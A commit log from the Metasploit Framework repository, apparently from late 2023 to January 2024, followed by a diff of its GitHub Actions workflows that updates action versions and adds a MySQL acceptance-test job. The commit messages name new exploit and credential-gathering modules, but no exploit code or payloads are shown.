sfewer-r7 4060e069ed first commit of the ICS exploit 2024-01-16 14:32:48 +00:00
Dean Welch 1c4258fd1e Fix encoded payloads test 2024-01-16 13:31:51 +00:00
h00die 56a9beb39d ansible review 2024-01-15 17:18:49 -05:00
Jack Heysel f1586f08c3 Changed payload double quote to single 2024-01-15 12:09:41 -05:00
Dean Welch 2cf045d3c4 Leverage the module metadata cache in the module_sets 2024-01-15 14:56:46 +00:00
Metasploit 57f97ac79e automatic module_metadata_base.json update 2024-01-15 06:31:17 -06:00
adfoster-r7 0075212fa9 Land #18596, Update smb modules to work with smb sessions 2024-01-15 12:07:07 +00:00
adfoster-r7 677c355f76 Land #18702, updates the documention for public and private fields in credential.rb 2024-01-15 11:03:55 +00:00
shellspawn 18b2eec1db fixed a swap typo in credential documentation 2024-01-15 04:10:49 -06:00
h00die-gr3y e7f2abbf9e Small typo update 2024-01-14 19:26:10 +00:00
Gaurav Jain 225ef6847f Add output from test run on windows target 2024-01-15 00:26:47 +05:30
Jack Heysel 5e25a99700 Responded to comments 2024-01-12 13:08:32 -05:00
cgranleese-r7 63e1b49da1 Land #18682, Add tests for Msf::Exploit::Local exploit_type and sysinfo methods 2024-01-12 15:04:09 +00:00
cgranleese-r7 c0e02bdeeb Land #18655, Use first module with enabled hierarchical search 2024-01-12 14:38:28 +00:00
h00die a8bc6cc27f ssh_version module docs 2024-01-11 14:56:09 -05:00
h00die d57c9fb464 ssh_version module 2024-01-11 14:48:21 -05:00
Jack Heysel 6d8666e35b Fixed spacing and removed unused method 2024-01-11 13:13:57 -05:00
Metasploit f8bd7dfd83 Bump version of framework to 6.3.52 2024-01-11 12:04:36 -06:00
Jack Heysel cdc66dd91f Last minute fix 2024-01-11 12:56:01 -05:00
Jack Heysel e44b57249d Merge branch 'wp-backup-migration-php-filter' of github.com:jheysel-r7/metasploit-framework into wp-backup-migration-php-filter 2024-01-11 12:30:42 -05:00
Jack Heysel 5c7061cc0c Remove OS dependant payload 2024-01-11 12:30:04 -05:00
Jeffrey Martin 5a14575a31 Adjustment for extra knobs to tweak during auth
* clarify the NTLM SASL challenge
* add default case for unsuppoted SASL types
* implement unknown method to support override
2024-01-11 10:30:58 -06:00
adfoster-r7 017dcd89a6 Land #18690, Fix using module from hierarchical search not setting target payload 2024-01-11 16:24:07 +00:00
Spencer McIntyre caf26fbe55 Fix up old references to HTTP code 2024-01-11 10:56:40 -05:00
adfoster-r7 9d66ff650d Land #18691, Bump the minimum version of apktool 2024-01-11 00:55:48 +00:00
h00die b031311892 ansible review 2024-01-10 17:29:15 -05:00
h00die 381b840f11 salt review 2024-01-10 17:19:58 -05:00
h00die e711c9ea43 ansible review 2024-01-10 17:16:57 -05:00
h00die 2cfcb74303 saltstack review 2024-01-10 17:09:02 -05:00
h00die e9296d1add saltstack review 2024-01-10 17:04:03 -05:00
Spencer McIntyre c91660bc54 Bump the minimum version of apktool
Bump the minimum version of apktool to avoid CVE-2024-21633
2024-01-10 16:19:21 -05:00
adfoster-r7 6f5ec8a069 Land #18656, Force reload_all to load unloaded modules before refreshing modules 2024-01-10 20:24:54 +00:00
sjanusz-r7 7da13cedc4 Fix using module from hierarchical search not setting target payload correctly 2024-01-10 17:27:56 +00:00
h00die b8e2feebe0 ssh_version module 2024-01-09 17:52:17 -05:00
Metasploit ffbaf3b141 automatic module_metadata_base.json update 2024-01-09 16:03:14 -06:00
bwatters 57c882cab5 Land #18604, Add Post Windows Gather to perform Mikrotik Winbox "Keep Password" credentials extraction
Merge branch 'land-18604' into upstream-master
2024-01-09 15:38:35 -06:00
Spencer McIntyre ad10cb84a9 Shorten the gss portion of the hardcore alias
Drop keys whose values are empty to shorten the string
2024-01-09 14:00:41 -05:00
jheysel-r7 43f4705e60 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-09 12:37:59 -05:00
adfoster-r7 656e65f9b0 Add tests for Msf::Exploit::Local exploit_type and sysinfo 2024-01-09 12:25:48 +00:00
h00die 6de51a5047 non-working module 2024-01-08 19:49:47 -05:00
h00die 077cad34ab non-working module 2024-01-08 19:47:24 -05:00
siddolo dc6d84d823 Update modules/post/windows/gather/credentials/winbox_settings.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-09 00:43:10 +01:00
Spencer McIntyre 024bdaec6d Add a proper rex-based service for the SMB server 2024-01-08 16:54:22 -05:00
dwelch-r7 ad4b47f6ac Land #18667, Re-add the #sysinfo method 2024-01-08 15:14:29 +00:00
Metasploit 0d70f254bd automatic module_metadata_base.json update 2024-01-08 05:52:39 -06:00
adfoster-r7 234517e3eb Land #18672, spelling fixes for lib folder 2024-01-08 11:23:48 +00:00
adfoster-r7 6ffebfc822 Land #18679, Aux modules spelling 2024-01-08 11:22:58 +00:00
Metasploit c53bff7ee1 automatic module_metadata_base.json update 2024-01-08 05:07:40 -06:00
adfoster-r7 b4a043f511 Fix incorrect severity_code check in drda proto implementation 2024-01-08 10:57:43 +00:00
adfoster-r7 75c2de8c3d Revert spelling correction 2024-01-08 10:51:35 +00:00
adfoster-r7 85e3eb51a5 Land #18677, fix spelling in some modules 2024-01-08 10:46:45 +00:00
adfoster-r7 7da5ef87e7 Land #18676, fix spelling in spec folder 2024-01-08 10:45:23 +00:00
adfoster-r7 99c335a2b4 Land #18674, fix spelling in plugins folder 2024-01-08 10:44:33 +00:00
adfoster-r7 fd7b49981d Land #18673, fix spelling in scripts folder 2024-01-08 10:43:34 +00:00
adfoster-r7 aa0545618b Land #18675, fix spelling in tools folder 2024-01-08 10:42:19 +00:00
h00die 4cb904535e rubocop telegram/send_message 2024-01-07 15:04:17 -05:00
h00die 8beb6255cb fix spelling in aux modules 2024-01-07 15:02:53 -05:00
h00die 04c0dede5e fix spelling in some modules 2024-01-07 14:06:31 -05:00
Jeffrey Martin 6d298c379b remove unused advanced option 2024-01-07 13:02:04 -06:00
Jeffrey Martin a4e8714de6 Land #18376, NTLM support for the LDAP capture 2024-01-07 12:59:37 -06:00
h00die ec8ee2814a fix spelling in spec folder 2024-01-07 13:42:50 -05:00
h00die a7c547542f fix spelling in tools folder 2024-01-07 13:28:13 -05:00
h00die 89d6c8c8ef fix spelling in plugins folder 2024-01-07 13:24:11 -05:00
h00die de53f45e68 fix spelling in scripts folder 2024-01-07 13:20:40 -05:00
siddolo 469a325f9b Merge pull request #1 from bwatters-r7/update-18604
Quick change to add support for more sessions and to only read the fi…
2024-01-07 19:16:17 +01:00
h00die 6a851855a8 spelling fixes for lib folder 2024-01-06 15:54:49 -05:00
h00die-gr3y 85897a2596 update adding aarch64 architecture and some new targets 2024-01-06 17:26:38 +00:00
h00die 80e9f1b97d saltstack salt-master review 2024-01-06 06:38:59 -05:00
Nishant Desai a09cf6471a Merge pull request #11 from jmartin-tech/GSoC/LDAP-NTLM-adjustments
adjustments to NTLM LDAP support
2024-01-05 23:41:26 -05:00
bwatters a0bc08c6ec Quick change to add support for more sessions and to only read the file once 2024-01-05 17:33:54 -06:00
Spencer McIntyre b10e8d566b Initial Rex SMB service to allow sharing 2024-01-05 17:18:08 -05:00
Gaurav Jain 98667edf76 Add suggested changes 2024-01-05 22:31:51 +05:30
adfoster-r7 ee3b8b40b6 Land #18669, Print additional settings notice on non-empty datastore values 2024-01-05 17:00:28 +00:00
h00die-gr3y 94a84960a2 Improved check for v3.x routers to obtain exact version 2024-01-05 16:20:29 +00:00
sjanusz-r7 e0804cf0cb Print additional settings notice on non-empty datastore values 2024-01-05 13:59:31 +00:00
h00die-gr3y eb902457f2 small update to module for mt6000 vuln test 2024-01-05 13:19:54 +00:00
Dean Welch 4bdff53358 Refactor dns send_tcp 2024-01-05 10:38:31 +00:00
Metasploit 08beaddf0a automatic module_metadata_base.json update 2024-01-04 17:49:52 -06:00
bwatters cdfa421d15 Land #18515, Add java target for ManageEngine ServiceDesk Plus CVE-2022-47966
Merge branch 'land-18515' into upstream-master
2024-01-04 17:25:08 -06:00
adfoster-r7 50579fb1de Land #18666, Fix the save command when dns_feature is disabled 2024-01-04 22:49:05 +00:00
Spencer McIntyre 03f3bf0f2f Readd the #sysinfo method 2024-01-04 17:21:29 -05:00
Spencer McIntyre 8d4142a8c7 Fix the save command when dns_feature is disabled 2024-01-04 17:08:29 -05:00
Metasploit d7f2ed4e4a Bump version of framework to 6.3.51 2024-01-04 12:58:16 -06:00
Metasploit 9dca2e3820 automatic module_metadata_base.json update 2024-01-04 11:37:35 -06:00
Spencer McIntyre 2028fbd226 Land #18404, Working Module for CVE-2023-38146 2024-01-04 12:20:26 -05:00
bwatters f341f72c72 add AKA 2024-01-04 11:11:23 -06:00
bwatters e4af94bb29 Pull in Spencer's file checks
Merge branch 'update-38146' into exploit/cve-2023-38146
2024-01-04 08:28:29 -06:00
Dean Welch f92b2662c4 Fix dns resolution skipping over nameservers with valid responses 2024-01-04 14:10:45 +00:00
h00die-gr3y 9bb7e0e379 small update to documentation 2024-01-04 14:04:34 +00:00
h00die-gr3y adf455e8cb Third release of module and documentation 2024-01-04 14:01:37 +00:00
adfoster-r7 1c5379918c Land #18660, ensure custom dns resolver support is fully behind a feature flag 2024-01-04 13:18:48 +00:00
dwelch-r7 5e59389d2b Land #18661, Update error message for meterpreter file contents test 2024-01-04 12:34:00 +00:00
adfoster-r7 00cfbc357a Update error message for meterpreter file contents test 2024-01-04 12:13:10 +00:00
Dean Welch 216cc6762f Put custom dns resolver behind feature flag 2024-01-04 11:18:47 +00:00
h00die-gr3y b2312c97d3 Second release of module and documentation 2024-01-04 09:26:16 +00:00
h00die-gr3y 9fdac8fd28 First release of module 2024-01-03 19:43:49 +00:00
adfoster-r7 4c1e1f614d Land #18657, Autoload Metasploit Payloads Gem 2024-01-03 17:50:56 +00:00
Dean Welch 52971ad2f6 Autoload Metasploit Payloads Gem 2024-01-03 16:24:12 +00:00
Dean Welch 7c448ceb50 Force reload_all to load any unloaded modules 2024-01-03 15:49:37 +00:00
adfoster-r7 afdb34d64a Use first module with enabled hierarchical search 2024-01-03 13:55:17 +00:00
Dean Welch 0d1ab00144 Fix recursive deadlock when reloading modules 2024-01-03 12:32:16 +00:00
Metasploit d5a59ceef1 automatic module_metadata_base.json update 2024-01-03 06:27:08 -06:00
adfoster-r7 a9f5c11d68 Land #18484, add ability to follow payload override in shell to meterpreter 2024-01-03 12:05:29 +00:00
Jeffrey Martin 2ab1b7a310 adjustments to NTLM LDAP support
* invert storage test for callback
* do not override service instance domain and hostname
* remove wrapping `Array` on `context_data` in response
* generate NTLM Type1 message instead of hardcoded blob
2024-01-02 13:08:48 -06:00
h00die-gr3y 08c5e6a689 Draft release of module. Not ready for review 2023-12-31 10:19:34 +00:00
Spencer McIntyre 97c3ccc8af Keep the service running when a session is opened 2023-12-29 14:03:27 -05:00
Spencer McIntyre d67d39ace6 Add error checking to #setup 2023-12-29 14:03:23 -05:00
Julien Voisin ed421c21ca Add a way to get the buildid via perf 2023-12-29 17:24:27 +01:00
Kevin Joensen 3b8f684d08 Fixed check module function 2023-12-29 16:18:50 +01:00
Kevin Joensen 2f023f7315 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-29 14:50:47 +01:00
Metasploit 2390058b37 automatic module_metadata_base.json update 2023-12-28 12:43:00 -06:00
Jack Heysel 11d58ef2e8 Land #18631, Improve vScalation Priv Esc Check
This PR adds an improvement to the check method of the
vcenter_java_wrapper_vmon_priv_esc module. Before the module
would attempt to run stat on a file before checking if the file
existed on the system. This fixes that issue.
2023-12-28 13:16:11 -05:00
Metasploit c162cf3aec Bump version of framework to 6.3.50 2023-12-28 12:08:37 -06:00
Metasploit f8d541daad automatic module_metadata_base.json update 2023-12-28 11:58:41 -06:00
Jack Heysel 63eb5f2a35 Land #18632, Add improvements to glibc tunables
This PR adds improvements to the glibc tunables module. In the
event the file command is not present on the target the module
will try to use the readelf command in order to get the ld.so
BuildID to determine whether or not the target is compatible with
exploit.
2023-12-28 12:41:52 -05:00
Metasploit e9df84555e automatic module_metadata_base.json update 2023-12-28 10:51:30 -06:00
Jack Heysel beef573fb8 Land #18635, Authenticated Splunk Info Disclosure
This PR adds a module for an authenticated Splunk information
disclosure. This module gathers information about the host
machine and the Splunk install including OS version, build,
CPU arch, Splunk licnese keys etc.
2023-12-28 11:20:52 -05:00
Jack Heysel d6488dc0c3 Land #18610, Enables Payloads File Warning
This PR enables the Metasploit Payload Warnings feature
by default. When enabled Metasploit will output warnings
about missing Metasploit payloads, for instance if they
were removed by antivirus etc.
2023-12-27 14:20:04 -05:00
jheysel-r7 8b970af7f6 Update modules/auxiliary/gather/splunk_raw_server_info.rb 2023-12-27 12:40:18 -05:00
jheysel-r7 f950711da1 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-27 12:37:17 -05:00
Gaurav Jain d0beea91bd Add exploit for CVE-2022-42889 2023-12-25 00:43:50 +05:30
h00die 47a58bda3b saltstack library rubocop and comments 2023-12-24 11:54:22 -05:00
h00die 357bdc8c10 ansible post library 2023-12-24 11:49:27 -05:00
h00die b654275ec4 add saltstack lib 2023-12-23 13:52:52 -05:00
h00die 11c12fcb6d review comments 2023-12-23 13:23:34 -05:00
h00die e72242949e review comments 2023-12-23 12:22:57 -05:00
h00die a5698f6aa6 review comments 2023-12-23 12:18:06 -05:00
Metasploit 94a4a6173f automatic module_metadata_base.json update 2023-12-22 04:26:48 -06:00
Christophe De La Fuente 3182cb4000 Land #18612, Craft CMS unauthenticed RCE [CVE-2023-41892] 2023-12-22 10:59:39 +01:00
Balgogan 0a2dea523f Add suggested changes 2023-12-22 00:04:54 +01:00
bwatters ce43db0904 Fix TBDs and give better documentation. 2023-12-21 16:18:36 -06:00
n00bhaxor 54df3d25e0 Merge pull request #1 from h00die/splunk
splunk 6.6.0+
2023-12-21 13:12:19 -05:00
Metasploit d461187d58 Bump version of framework to 6.3.49 2023-12-21 12:07:52 -06:00
h00die-gr3y 4c404765a4 Final update to the module based on cdelafuente-r7 comments 2023-12-21 12:06:21 +00:00
h00die 91c58ba268 asan local better check 2023-12-20 21:00:17 -05:00
h00die 526da210ad asan local better check 2023-12-20 20:58:00 -05:00
h00die 0394f5f7ad splunk 6.6.0+ 2023-12-20 20:47:04 -05:00
bwatters 78bac2636b Add documentation 2023-12-20 18:44:05 -06:00
bwatters 7fafab9680 Bring in zerosteiner's PACKME_VERSION edit 2023-12-20 16:46:44 -06:00
bwatters 6f17088e33 Fix some linting 2023-12-20 16:44:49 -06:00
Jack Heysel eeb74cd5e1 Updated metadata 2023-12-20 16:49:45 -05:00
Jack Heysel e3062d45e0 Module working docs updated 2023-12-20 16:41:52 -05:00
jvoisin fc66cd1522 Improve a bit glibc_tunables_priv_esc
- Fix some typos
- Add a check via `readelf` should `file` not be available
- Add a message before launching the exploit, since it might take some time to finish.
2023-12-20 20:59:47 +01:00
n00bhaxor a31de9eb05 Adding Splunk Info Disclosure module. 2023-12-20 14:07:50 -05:00
Balgogan 9c9af0dca1 Fix statement 2023-12-20 01:51:19 +01:00
h00die 1e374403ec better check for vmon 2023-12-19 19:01:45 -05:00
Balgogan 22a05c8bf5 Add CVE-2023-50917 2023-12-20 00:43:00 +01:00
Spencer McIntyre 3ac9c0c38a Patch in the theme version to the MSStyles file 2023-12-19 17:05:01 -05:00
Jack Heysel c895364675 Initial commit, files created 2023-12-18 19:26:14 -05:00
h00die-gr3y 5d7cf90521 Some minor changes to the module and documentation 2023-12-18 08:23:16 +00:00
h00die 5e30328268 move options 2023-12-17 15:24:56 -05:00
h00die 6b376b9156 move options 2023-12-17 15:24:16 -05:00
Gaurav Jain e9ff2e55dc Remove useless include of Report mixin in psnuffle.rb 2023-12-17 22:53:19 +05:30
h00die-gr3y 9ac3739605 Minor changes to the documentation 2023-12-17 13:51:30 +00:00
h00die-gr3y 0641839e69 Added documentation and removed debug info 2023-12-17 13:10:18 +00:00
Gaurav Jain a58f7f0558 Minor fixes to modules to use report_cred 2023-12-16 23:40:30 +05:30
h00die-gr3y db099f8f4c Third release of module 2023-12-16 16:06:05 +00:00
h00die 02302439a0 saltstack salt minion deployer 2023-12-16 10:13:46 -05:00
h00die c911ec1413 ansible collection 2023-12-16 07:16:26 -05:00
Kevin Joensen 7bacc642bf Merge branch 'prtg_authenticated_rce_cve_2023_32781' of github.com:ggisz/metasploit-framework into prtg_authenticated_rce_cve_2023_32781 2023-12-15 13:58:49 +01:00
Kevin Joensen 2f3e207277 Fixed documentation for exploit 2023-12-15 13:58:10 +01:00
h00die-gr3y d00249f083 Second release with manual cleanup of php* files 2023-12-14 12:57:07 +00:00
sjanusz-r7 ff6db7f337 Enable Metasploit Payloads file warning messages by default 2023-12-14 12:55:43 +00:00
ErikWynter e946d78993 Add opennms_horizon_authenticated_rce exploit 2023-12-13 18:03:56 +02:00
h00die 9c869a6768 fix spelling 2023-12-13 09:45:02 -05:00
Kevin Joensen 5de0e4e234 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:30:00 +01:00
Kevin Joensen 52a23e3afb Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:29:49 +01:00
h00die 1749fa1e50 store module loot 2023-12-13 07:37:24 -05:00
h00die 8eefea76ce puppet post gather module 2023-12-13 07:12:17 -05:00
adfoster-r7 4e106c2a73 Fix aarch64 elf shared object bus error 2023-12-13 00:26:53 +00:00
bwatters 95eb4cc304 Pull in changes from Spencer's branch, but not the Gemfile changes. 2023-12-12 10:09:13 -06:00
bwatters 3534181067 rename file 2023-12-12 10:09:13 -06:00
bwatters d3b0c538a1 Probably need to figure out how to get the requested filename.... 2023-12-12 10:09:13 -06:00
bwatters 62d3cfa72d Still not working, but closer 2023-12-12 10:09:13 -06:00
bwatters ce55c1cd78 Fix silly file name disagreement 2023-12-12 10:09:13 -06:00
bwatters 486f42896f Non-Working Draft Module 2023-12-12 10:09:13 -06:00
Dean Welch 58f79c7b47 Fix typo 2023-12-12 11:59:07 +00:00
Dean Welch 7e88279299 Add smb session support to scanner modules 2023-12-12 11:59:07 +00:00
Dean Welch cf24bca946 Add smb session support to smb_relay module 2023-12-12 11:59:07 +00:00
Dean Welch c55d4ceda0 Add smb session support to windows_secrets_dump module 2023-12-12 11:59:07 +00:00
Dean Welch 387c90e91e Add smb session support to psexec_ntdsgrab module 2023-12-12 11:59:07 +00:00
Dean Welch 36cc8f6267 Add smb session support to upload_file module 2023-12-12 11:59:07 +00:00
Dean Welch b0d7695e10 Add smb session support to download_file module 2023-12-12 11:59:07 +00:00
Dean Welch 1f91d2eee9 Add smb session support to delete_file module 2023-12-12 11:59:07 +00:00
Zach Goldman 90d3d6fc0a testing for opt_enum changes 2023-12-11 09:08:54 -06:00
h00die-gr3y ff44932113 first draft release of module 2023-12-10 21:09:40 +00:00
siddolo 48e2e09dfc msftidy fix 2023-12-07 19:23:33 +01:00
Kevin Joensen 83dccfafaf added retry_until_truthy and sensor deletion upon payload running 2023-12-07 15:16:42 +01:00
siddolo 05800296f3 RuboCop fixes and msftidy fixes 2023-12-07 13:45:19 +01:00
siddolo 4039ea523a RuboCop Fixes 2023-12-07 13:19:13 +01:00
siddolo 32e5dfb12d Windows gather credentials for Mikrotik Winbox 'Keep Password' feature 2023-12-07 13:14:37 +01:00
Zach Goldman 56afed78ff fix optenum, add documentation, fix issue with unset values 2023-12-04 18:03:28 -06:00
Zach Goldman 095540cea6 Enhance ability to follow payload override in shell to meterpreter
Update modules/post/multi/manage/shell_to_meterpreter.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

payload override
2023-12-04 12:01:28 -06:00
Kevin Joensen 2718c078d2 removed WfsDelay 2023-12-01 10:15:55 +01:00
Kevin Joensen d26db0b1dd changed datastore['TARGETURI'] to target_uri.path 2023-12-01 10:15:13 +01:00
Kevin Joensen 26e7807154 updated URI to TARGETURI 2023-12-01 10:09:06 +01:00
Kevin Joensen 9105966b20 Fixed debug string 2023-12-01 10:07:28 +01:00
Kevin Joensen 7dbd938e3b fixed linting with rubocop and msftidy.rb 2023-11-27 18:44:10 +01:00
Kevin Joensen 3ffeef36f6 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:50 +01:00
Kevin Joensen ebc18db0ac Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:12 +01:00
Kevin Joensen 4906ea228d updated fields to have random values 2023-11-27 09:39:18 +01:00
Kevin Joensen 27b2cdf5b1 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:15 +01:00
Kevin Joensen 32380d8a26 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:03 +01:00
Kevin Joensen a04943063e Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Removes quotes from normalize_uri parameters.

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:07:08 +01:00
Kevin Joensen 8c007c0ef7 added exploit for CVE-2023-32781 - PRTG authenticated RCE 2023-11-23 19:28:02 +01:00
Gaurav Jain 6056081de5 Change status message upon completion of exploit 2023-11-10 05:28:10 +05:30
Gaurav Jain 8301e6c766 Use Rex::RandomIdentifier::Generator to generate payload variables names 2023-11-10 05:25:59 +05:30
Gaurav Jain b9c65d5b75 Delete log entries on target 2023-11-06 02:00:25 +05:30
Gaurav Jain ba196b4264 Handle serving of payloads for different targets 2023-11-06 01:57:44 +05:30
JustAnda7 6ba5d03993 Addition-of-suitable-tests-for-the-libraries 2023-11-04 11:43:01 -04:00
JustAnda7 672d651221 Optimization-of-the-libraries-using-Net-NTLM 2023-11-04 11:41:27 -04:00
Gaurav Jain 9bd819e2d7 Add java in-memory target for manageengine servicedesk exploit 2023-10-30 20:12:37 +05:30
Nishant Desai 70c69f46a5 Merge pull request #9 from JustAnda7/GSoC/creating-rex-lib-for-auth
Shifting appropriate methods to Auth lib
2023-10-08 12:58:52 +05:30
JustAnda7 7876912eab Changes-as-per-comments 2023-10-08 02:49:46 -04:00
JustAnda7 ea189d6c34 Changes-to-the-helper-lib 2023-10-02 13:35:28 -04:00
errorxyz 2cf8b3808c Fix lotus_domino_hashes to use #service_details from HttpClient mixin 2023-09-27 21:16:24 +05:30
Nishant Desai 1a3b00e593 shifting-appropriate-methods-to-auth-lib 2023-09-27 12:23:29 +00:00
errorxyz f5d5541e73 Update deprecated report_auth_info method call in various modules in data/exploits/psnuffle/ 2023-09-25 02:51:08 +05:30
errorxyz 9f10f9402c Update deprecated report_auth_info method call in data/exploits/psnuffle/smb.rb module 2023-09-25 02:06:48 +05:30
errorxyz 35609d07e9 Fix lotus_domino_hashes_spec to comply with report_cred method 2023-09-25 01:19:43 +05:30
errorxyz b4dee448bc Update deprecated report_auth_info method call in lotus_domino_hashes 2023-09-24 22:32:52 +05:30
errorxyz 7cd447b5d0 Update deprecated report_auth_info method call in modicon_password_recovery 2023-09-24 22:22:36 +05:30
errorxyz 203470302a Remove deprecated report_auth_info method call from vbulletic_vote_sqli_exec module 2023-09-24 22:20:35 +05:30
JustAnda7 6972a910fb changes-to-support-ntlm 2023-09-20 16:48:08 +00:00
Jeffrey Martin 6b5fff6c33 Land #18125, LDAP Capture Simple Authentication 2023-09-01 11:08:19 -05:00
JustAnda7 05d6e9815d changes-to-support-nmap 2023-09-01 08:07:01 -04:00
JustAnda7 79d3cc81cb changes-to-support-nmap-script 2023-08-01 07:50:01 -04:00
JustAnda7 8e33badd80 Better-parsing-of-dn-and-minor-changes 2023-07-05 18:21:48 +00:00
Nishant Desai 823824163e Documentation-of-Capturing-Simple-Auth 2023-06-21 13:29:25 +00:00
Nishant Desai e3c97148e8 Capturing-SimpleBind-Authentication 2023-06-18 18:47:42 +00:00
890 changed files with 41007 additions and 6656 deletions
+16 -14
View File
@@ -38,7 +38,9 @@ on:
- 'lib/msf/core/**'
- 'tools/dev/**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
- '.github/**'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
@@ -63,10 +65,10 @@ jobs:
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
- { name: java, runtime_version: 8 }
# PHP
- { name: php, runtime_version: 5.3 }
- { name: php, runtime_version: 7.4 }
- { name: php, runtime_version: 8.2 }
# PHP - Temporarily removed as tests are timing out on Github actions
# - { name: php, runtime_version: 5.3 }
# - { name: php, runtime_version: 7.4 }
# - { name: php, runtime_version: 8.2 }
include:
# Windows Meterpreter
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
@@ -92,7 +94,7 @@ jobs:
if: runner.os == 'Linux'
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
if: ${{ matrix.meterpreter.name == 'php' }}
with:
php-version: ${{ matrix.meterpreter.runtime_version }}
@@ -100,11 +102,11 @@ jobs:
- name: Set up Python
if: ${{ matrix.meterpreter.name == 'python' }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.meterpreter.runtime_version }}
- uses: actions/setup-java@v3
- uses: actions/setup-java@v4
if: ${{ matrix.meterpreter.name == 'java' }}
with:
distribution: temurin
@@ -126,7 +128,7 @@ jobs:
type %WINDIR%\\system32\\drivers\\etc\\hosts
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Setup Ruby
env:
@@ -153,11 +155,11 @@ jobs:
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
run: |
bundle exec rspec spec/acceptance/
bundle exec rspec spec/acceptance/meterpreter_spec.rb
- name: Archive results
if: always()
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
@@ -172,7 +174,7 @@ jobs:
steps:
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
if: always()
- name: Install system dependencies (Linux)
@@ -186,14 +188,14 @@ jobs:
BUNDLE_FORCE_RUBY_PLATFORM: true
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.2
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
cache-version: 4
# Github actions with Ruby requires Bundler 2.2.18+
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
bundler: 2.2.33
- uses: actions/download-artifact@v3
- uses: actions/download-artifact@v4
id: download
if: always()
with:
@@ -216,7 +218,7 @@ jobs:
- name: archive results
if: always()
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: final-report-${{ github.run_id }}
path: |
+1 -1
View File
@@ -43,7 +43,7 @@ jobs:
name: Ruby ${{ matrix.ruby }}
steps:
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: Setup Ruby
uses: ruby/setup-ruby@v1
+1 -1
View File
@@ -43,7 +43,7 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
with:
+182
View File
@@ -0,0 +1,182 @@
name: Acceptance
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
#concurrency:
# group: ${{ github.ref }}-${{ github.workflow }}
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
- gh-pages
- metakitty
pull_request:
branches:
- '*'
paths:
- 'metsploit-framework.gemspec'
- 'Gemfile.lock'
- '**/**mysql**'
- 'spec/acceptance/**'
- 'spec/support/acceptance/**'
- 'spec/acceptance_spec_helper.rb'
# Example of running as a cron, to weed out flaky tests
# schedule:
# - cron: '*/15 * * * *'
jobs:
mysql:
runs-on: ${{ matrix.os }}
timeout-minutes: 40
services:
mysql:
image: ${{ matrix.target.version }}
ports: ["3306:3306"]
env:
MYSQL_ROOT_PASSWORD: password
options: >-
--health-cmd "${{ matrix.target.health_cmd }}"
--health-interval 10s
--health-timeout 10s
--health-retries 5
strategy:
fail-fast: true
matrix:
ruby:
- '3.2'
os:
- ubuntu-latest
target:
- { version: "mariadb:latest", health_cmd: "mariadb -uroot -ppassword -e 'SELECT version()'" }
- { version: "mariadb:5.5.42", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
- { version: "mysql:latest", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
